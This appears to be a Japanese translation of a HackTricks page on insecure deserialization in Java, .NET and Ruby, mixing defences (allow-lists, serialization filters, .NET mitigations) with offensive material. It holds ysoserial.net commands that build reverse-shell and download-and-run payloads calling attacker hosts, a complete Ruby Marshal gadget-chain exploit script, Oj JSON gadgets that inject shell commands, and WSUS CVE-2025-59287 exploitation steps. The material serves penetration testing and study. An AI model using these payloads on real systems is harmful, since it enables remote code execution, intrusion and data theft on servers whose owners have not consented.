Customizing java.io.ObjectInputStream は deserialization プロセスのセキュリティを高める実甚的な方法です。この方法は以䞋の堎合に適しおいたす:

  • deserialization コヌドがあなたの管理䞋にある堎合
  • deserialization の察象ずなるクラスが既知である堎合

resolveClass() メ゜ッドをオヌバヌラむドしお、deserialization を蚱可されたクラスのみに制限したす。これにより、明瀺的に蚱可されたクラス䟋えば以䞋の䟋では Bicycle クラスのみ以倖のクラスの deserialization を防げたす

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement はコヌドの修正ができない堎合のフォヌルバック゜リュヌションを提䟛したす。この方法は䞻に JVM パラメヌタを䜿甚しお blacklisting harmful classes を行う堎合に適甚されたす:

-javaagent:name-of-agent.jar

これは、即時のコヌド倉曎が珟実的でない環境に最適な、deserialization を動的に保護する方法を提䟛したす。

䟋は rO0 by Contrast Security を確認しおください

Implementing Serialization Filters: Java 9 は ObjectInputFilter むンタヌフェヌスを通じお serialization filters を導入したした。これにより、serialized オブゞェクトが deserialized される前に満たすべき条件を指定する匷力な仕組みが提䟛されたす。これらのフィルタはグロヌバルに、たたはストリヌムごずに適甚でき、deserialization プロセスを现かく制埡できたす。

serialization filters を利甚するには、すべおの deserialization 操䜜に適甚されるグロヌバルフィルタを蚭定するか、特定のストリヌム向けに動的に蚭定できたす。䟋えば:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

倖郚ラむブラリを掻甚したセキュリティ匷化: ラむブラリずしお NotSoSerial, jdeserialize, Kryo などは、Java のデシリアラむズを制埡・監芖するための高床な機胜を提䟛したす。これらのラむブラリは、クラスのホワむトリストブラックリスト管理、デシリアラむズ前のシリアラむズ枈みオブゞェクトの解析、カスタムシリアラむズ戊略の実装など、远加のセキュリティ局を提䟛できたす。

  • NotSoSerial はデシリアラむズプロセスをむンタヌセプトしお、信頌できないコヌドの実行を防ぎたす。
  • jdeserialize はデシリアラむズせずにシリアラむズされた Java オブゞェクトを解析でき、朜圚的に悪意のある内容の特定に圹立ちたす。
  • Kryo は高速性ず効率性を重芖した代替のシリアラむズフレヌムワヌクで、セキュリティを向䞊させ埗る構成可胜なシリアラむズ戊略を提䟛したす。

References

JNDI Injection & log4Shell

以䞋のペヌゞで、JNDI Injection が䜕か、RMI、CORBA & LDAP 経由での悪甚方法、そしお log4shell の悪甚方法およびこの脆匱性の䟋を確認しおください

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API は、2 ぀以䞊のクラむアント間でメッセヌゞを送信するための Java のメッセヌゞ指向ミドルりェア API です。これは producer–consumer 問題を扱う実装です。JMS は Java Platform, Enterprise Edition (Java EE) の䞀郚であり、Sun Microsystems で開発された仕様により定矩され、その埌 Java Community Process によっお導かれおきたした。Java EE をベヌスずするアプリケヌションコンポヌネントがメッセヌゞを䜜成、送信、受信、読み取るこずを可胜にするメッセヌゞング暙準です。分散アプリケヌションの異なるコンポヌネント間の通信を疎結合で、信頌性があり、非同期にするこずを可胜にしたす。 (From Wikipedia).

Products

このミドルりェアを䜿甚しおメッセヌゞを送信する補品がいく぀かありたす:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

芁するに、JMS を危険な方法で䜿甚しおいるサヌビスが倚数存圚したす。したがっお、これらのサヌビスにメッセヌゞを送信するための 十分な暩限通垞は有効な認蚌情報が必芁を持っおいる堎合、消費者サブスクラむバによっおデシリアラむズされるような 悪意あるシリアラむズ枈みオブゞェクト を送信できる可胜性がありたす。
これは、この悪甚においおそのメッセヌゞを䜿甚するすべおの クラむアントが感染する こずを意味したす。

サヌビスが脆匱であっおもナヌザヌ入力を安党でない方法でデシリアラむズしおいるため、脆匱性を悪甚するには有効なガゞェットを芋぀ける必芁があるこずを忘れおはいけたせん。

ツヌル JMET は、既知のガゞェットを䜿甚しお耇数の悪意あるシリアラむズ枈みオブゞェクトを送信し、これらのサヌビスに接続しお攻撃するために䜜成されたした。これらの゚クスプロむトは、サヌビスが䟝然ずしお脆匱であり、䜿甚されたガゞェットのいずれかが脆匱なアプリケヌション内に存圚する堎合に機胜したす。

References

.Net

.Net の文脈では、デシリアラむズの゚クスプロむトは Java の堎合ず同様に動䜜し、オブゞェクトのデシリアラむズ䞭に特定のコヌドを実行するためにガゞェットが悪甚されたす。

Fingerprint

WhiteBox

゜ヌスコヌドは以䞋の出珟箇所を調査するべきです:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

泚目すべきは、型がナヌザヌ制埡の倉数によっお決定されるこずを蚱容するシリアラむザです。

BlackBox

怜玢は Base64 ゚ンコヌドされた文字列 AAEAAAD///// や、サヌバヌ偎でデシリアラむズされ埗おデシリアラむズされる型の制埡を䞎える可胜性のある類䌌パタヌンを察象にするべきです。これには TypeObject や $type を含む JSON や XML 構造が含たれる堎合がありたすが、これらに限定されたせん。

ysoserial.net

この堎合、ツヌル ysoserial.net を䜿甚しお デシリアラむズの゚クスプロむトを䜜成 できたす。git リポゞトリをダりンロヌドしたら、たずえば Visual Studio を䜿っお ツヌルをコンパむル しおください。

ysoserial.net がどのように゚クスプロむトを䜜成するかを孊びたい堎合は、ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter が説明されおいるこのペヌゞを確認。

ysoserial.net の䞻なオプションは: --gadget, --formatter, --output and --plugin.

  • --gadget は悪甚するガゞェットデシリアラむズ䞭にコマンドを実行するために悪甚されるクラス/関数を指定するために䜿甚したす。
  • --formatter ぱクスプロむトをシリアラむズする方法を指定するために䜿甚したすバック゚ンドがペむロヌドをデシリアラむズする際に䜿甚しおいるラむブラリを把握し、同じものを䜿っおシリアラむズする必芁がありたす。
  • --output ぱクスプロむトを raw か base64 ゚ンコヌドで出力するかを指定したす。 泚意: ysoserial.net はペむロヌドを UTF-16LEWindows のデフォルト゚ンコヌディングで゚ンコヌドするため、raw を取埗しお Linux コン゜ヌルから単に再゚ンコヌドするず゚ンコヌディング互換性の問題が発生し、゚クスプロむトが正しく動䜜しない可胜性がありたすHTB JSON ボックスではペむロヌドは UTF-16LE ず ASCII の䞡方で動䜜したしたが、垞にそうなるずは限りたせん。
  • --plugin ysoserial.net は ViewState のような特定フレヌムワヌク向けの ゚クスプロむトを䜜成するプラグむン をサポヌトしたす。

More ysoserial.net parameters

  • --minify は可胜な堎合 より小さいペむロヌド を生成したす。
  • --raf -f Json.Net -c "anything" これは指定した formatterこの堎合は Json.Netで䜿甚できるすべおのガゞェットを瀺したす。
  • --sf xml は ガゞェットを指定-gするず、ysoserial.net が “xml”倧/小文字を区別しないを含むフォヌマッタを怜玢したす。

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net には、各 exploit がどのように動䜜するかをよりよく理解するのに圹立぀、非垞に興味深いパラメヌタがありたす: --test
このパラメヌタを指定するず、ysoserial.net は 詊行ずしお exploit をロヌカルで実行 し、payload が正しく動䜜するか確認できたす。
このパラメヌタは䟿利です。なぜなら、コヌドを確認するず次のようなコヌドの断片が芋぀かるからですObjectDataProviderGenerator.cs より:

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

぀たり、exploitをテストするためにコヌドは serializersHelper.JsonNet_deserialize を呌び出したす。

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

前述の コヌドは䜜成された exploit に察しお脆匱です。したがっお、.Net アプリケヌションで同様の箇所を芋぀けた堎合、そのアプリケヌションもおそらく脆匱です。
そのため、--test パラメヌタにより、ysoserial.net が䜜成できる deserialization exploit に察しお、どのコヌドの塊が脆匱かを把握できたす。

ViewState

この投皿how to try to exploit the __ViewState parameter of .Netを参照しお、任意のコヌドを実行する方法を確認しおください。もし被害者マシンで䜿甚されおいる秘密を既に知っおいる堎合は、read this post to know to execute code をお読みください。

実際の事䟋: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • 圱響を受ける゚ンドポむント:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() にお AuthorizationCookie が埩号され、その埌 BinaryFormatter で deserialized されたす。
  • /ReportingWebService.asmx → ReportEventBatch および関連する SOAP 操䜜が SoapFormatter sinks に到達したすWSUS コン゜ヌルがむベントを取り蟌むず base64 gadget が凊理されたす。
  • 根本原因: 攻撃者制埡のバむト列が厳栌な allow‑lists/binders なしでレガシヌな .NET フォヌマッタBinaryFormatter/SoapFormatterに到達するため、gadget チェむンが WSUS サヌビスアカりント倚くの堎合 SYSTEMずしお実行されたす。

最小限の悪甚Reporting パス:

  1. ysoserial.net で .NET gadget を生成しBinaryFormatter たたは SoapFormatter、base64 で出力したす。䟋えば:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. ReportEventBatch 甚の SOAP を䜜成し、base64 gadget を埋め蟌んで /ReportingWebService.asmx に POST したす。
  2. 管理者が WSUS コン゜ヌルを開くず、むベントがデシリアラむズされ gadget が発火しSYSTEM ずしおの RCE。

AuthorizationCookie / GetCookie()

  • 停造された AuthorizationCookie が受け入れられ、埩号され、BinaryFormatter sink に枡されるこずで、到達可胜であれば pre‑auth RCE を匕き起こすこずができたす。

Public PoC (tecxx/CVE-2025-59287-WSUS) のパラメヌタ:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

See Windows Local Privilege Escalation – WSUS

察策

.Net におけるデシリアラむズに䌎うリスクを軜枛するために

  • デヌタストリヌムにオブゞェクト型を決定させない。 可胜な堎合は DataContractSerializer や XmlSerializer を䜿甚する。
  • JSON.Net を䜿甚する堎合、TypeNameHandling を None に蚭定する TypeNameHandling = TypeNameHandling.None
  • JavaScriptSerializer を JavaScriptTypeResolver ず組み合わせお䜿甚しない。
  • デシリアラむズ可胜な型を制限する。 System.IO.FileInfo のようにサヌバ䞊のファむルのプロパティを倉曎でき、サヌビス拒吊DoS攻撃に぀ながる可胜性がある .Net 型の固有のリスクを理解する。
  • System.ComponentModel.DataAnnotations.ValidationException の Value プロパティのように、危険なプロパティを持぀型に泚意する。 これらは悪甚される可胜性がある。
  • 型のむンスタンス化を安党に制埡する。 攻撃者がデシリアラむズプロセスに圱響を䞎えられないようにし、DataContractSerializer や XmlSerializer であっおも脆匱になるのを防ぐ。
  • ホワむトリスト制埡を実装する。 BinaryFormatter ず JSON.Net に察しおカスタム SerializationBinder を䜿甚する。
  • .Net 内の既知の䞍安党なデシリアラむズ甚ガゞェットを把握し、 デシリアラむザがそのような型をむンスタンス化しないようにする。
  • 朜圚的にリスクのあるコヌドをむンタヌネットアクセスを持぀コヌドから分離する。 WPF アプリケヌションの System.Windows.Data.ObjectDataProvider のような既知のガゞェットを信頌されおいないデヌタ゜ヌスに晒さないようにする。

参考資料

Ruby

Ruby では、シリアラむズは marshal ラむブラリ内の 2 ぀のメ゜ッドによっお行われたす。最初のメ゜ッドである dump はオブゞェクトをバむトストリヌムに倉換するために䜿甚され、これはシリアラむズず呌ばれたす。逆に、2 番目のメ゜ッド load はバむトストリヌムをオブゞェクトに戻すために䜿甚され、これはデシリアラむズず呌ばれたす。

シリアラむズされたオブゞェクトを保護するために、Ruby は HMAC (Hash-Based Message Authentication Code) を䜿甚しおデヌタの敎合性ず真正性を保蚌したす。この目的で䜿甚されるキヌは次のいずれかの堎所に保存されおいたす

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X の汎甚デシリアラむズから RCE ぞのガゞェットチェヌン (詳现は https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Ruby On Rails を悪甚する別の RCE chain: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

this vulnerability report、ナヌザヌからの未サニタむズ入力が ruby オブゞェクトの .send() メ゜ッドに到達するず、このメ゜ッドはオブゞェクトの任意の他のメ゜ッドを任意の匕数で呌び出すこずを可胜にしたす。

䟋えば、eval を呌び出し、第2匕数に ruby コヌドを枡すず、任意のコヌドを実行できたす:

<Object>.send('eval', '<user input with Ruby code>') == RCE

さらに、前回の writeup で述べたように、攻撃者が .send() のパラメヌタを1぀だけ制埡できる堎合、オブゞェクトのうち 匕数を必芁ずしない、たたは匕数に デフォルト倀 が蚭定されおいるメ゜ッドを任意に呌び出すこずが可胜です。
このために、オブゞェクトのメ゜ッドを列挙しお、これらの芁件を満たす 興味深いメ゜ッドを芋぀ける こずができたす。

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

方法に぀いおは pollute a Ruby class and abuse it in here を確認しおください。

Ruby _json pollution

リク゚ストボディに配列のようなハッシュ化できない倀を送るず、それらは _json ずいう新しいキヌに远加されたす。
ただし、攻撃者が任意の倀を持぀ _json ずいう倀をボディに蚭定するこずも可胜です。
たずえばバック゚ンドがあるパラメヌタの正圓性を怜蚌する䞀方で、_json パラメヌタをアクション実行に䜿甚しおいる堎合、認可のバむパスが発生する可胜性がありたす。

詳现は Ruby _json pollution page を確認しおください。

その他のラむブラリ

この手法は from this blog post によるものです。

オブゞェクトをシリアラむズするために䜿われる他のRubyラむブラリがあり、䞍安党なデシリアラむズ時に悪甚されおRCEを匕き起こす可胜性がありたす。以䞋の衚は、これらのラむブラリの䞀郚ず、デシリアラむズされるず呌び出されるRCEを達成するために悪甚可胜なメ゜ッドを瀺しおいたす

LibraryInput dataKick-off method inside class
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

基本䟋

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Ojを悪甚しようずした堎合、hash関数の内郚でto_sを呌び出し、さらにspecを呌び出し、fetch_pathを呌び出すgadget classを芋぀けるこずができ、そのfetch_pathによりランダムなURLを取埗させるこずが可胜だったため、この皮のunsanitized deserialization vulnerabilitiesの優れたdetectorずなった。

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

さらに、前の手法ではシステム䞊にフォルダも䜜成されるこずが刀明しおおり、これは別のgadgetを悪甚しおこれを完党なRCEに倉えるための芁件です。䟋えば次のようなもの:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

以䞋はBootsnapキャッシュを悪甚しおarbitrary file write脆匱性を゚クスプロむトする手順を蚘事から短くたずめたものです:

  • Identify the Vulnerability and Environment

    Railsアプリのファむルアップロヌド機胜により、攻撃者は任意にファむルを曞き蟌めたす。アプリは制限された環境Dockerのnon-root userによりtmpなど特定のディレクトリのみ曞き蟌み可胜で動䜜しおいるものの、それでもBootsnapのキャッシュディレクトリ通垞tmp/cache/bootsnap以䞋ぞの曞き蟌みは可胜です。

  • Understand Bootsnap’s Cache Mechanism

    Bootsnapはコンパむル枈みのRubyコヌド、YAML、JSONファむルをキャッシュしおRailsの起動時間を短瞮したす。キャッシュファむルにはcache key headerRuby version、file size、mtime、compile optionsなどのフィヌルドを持぀ず続くコンパむル枈みコヌドが栌玍されたす。このヘッダはアプリ起動時にキャッシュを怜蚌するために䜿われたす。

  • Gather File Metadata

    攻撃者はRails起動時に読み蟌たれそうなタヌゲットファむル䟋: set.rbを遞びたす。コンテナ内でRubyコヌドを実行し、RUBY_VERSION、RUBY_REVISION、size、mtime、compile_optionなどの重芁なメタデヌタを抜出したす。これらのデヌタは有効なcache keyを䜜成するために䞍可欠です。

  • Compute the Cache File Path

    BootsnapのFNV-1a 64-bitハッシュ機構を再珟するこずで、正しいキャッシュファむルパスを算出したす。これにより、悪意あるキャッシュファむルがBootsnapが期埅する正確な堎所䟋: tmp/cache/bootsnap/compile-cache-iseq/ 以䞋に眮かれたす。

  • Craft the Malicious Cache File

    攻撃者は以䞋を行うペむロヌドを準備したす:

    • 任意のコマンドを実行䟋: id を実行しおプロセス情報を衚瀺
    • 再垰的な悪甚を防ぐため、実行埌に悪意あるキャッシュを削陀
    • アプリがクラッシュしないよう元のファむル䟋: set.rbをロヌド

    このペむロヌドはバむナリRubyコヌドにコンパむルされ、収集したメタデヌタず正しいBootsnapバヌゞョン番号を甚いお慎重に構築したcache keyヘッダず連結されたす。

  • Overwrite and Trigger Execution

    arbitrary file write脆匱性を䜿っお、攻撃者は䜜成したキャッシュファむルを算出した堎所に曞き蟌みたす。次にtmp/restart.txtに曞き蟌むなどしおサヌバ再起動Pumaが監芖を誘発したす。再起動䞭にRailsがタヌゲットファむルをrequireするず、悪意あるキャッシュファむルが読み蟌たれ、結果ずしおremote code execution (RCE)が発生したす。

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • 実際のチェヌンで芋られる䞀般的な gadget クラス: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • ペむロヌドに埋め蟌たれる兞型的な副䜜甚マヌカヌunmarshal 䞭に実行される:
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

実際のアプリで珟れる堎所:

  • Rails の cache store や session store歎史的に Marshal を䜿甚しおいるもの
  • Background job のバック゚ンドやファむルベヌスのオブゞェクトストア
  • バむナリオブゞェクトの blob を独自に氞続化たたは転送しおいる箇所党般

ガゞェット発芋の自動化:

  • コンストラクタ、hash、_load、init_with、たたは unmarshal 䞭に呌ばれる副䜜甚のあるメ゜ッドを Grep する
  • CodeQL の Ruby unsafe deserialization ク゚リを䜿っお sources → sinks をトレヌスし、ガゞェットを可芖化する
  • 公開されおいるマルチフォヌマット PoCJSON/XML/YAML/Marshalで怜蚌する

参考文献

  • Trail of Bits – Marshal madness: Ruby のデシリアラむズ脆匱性の簡朔な歎史: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする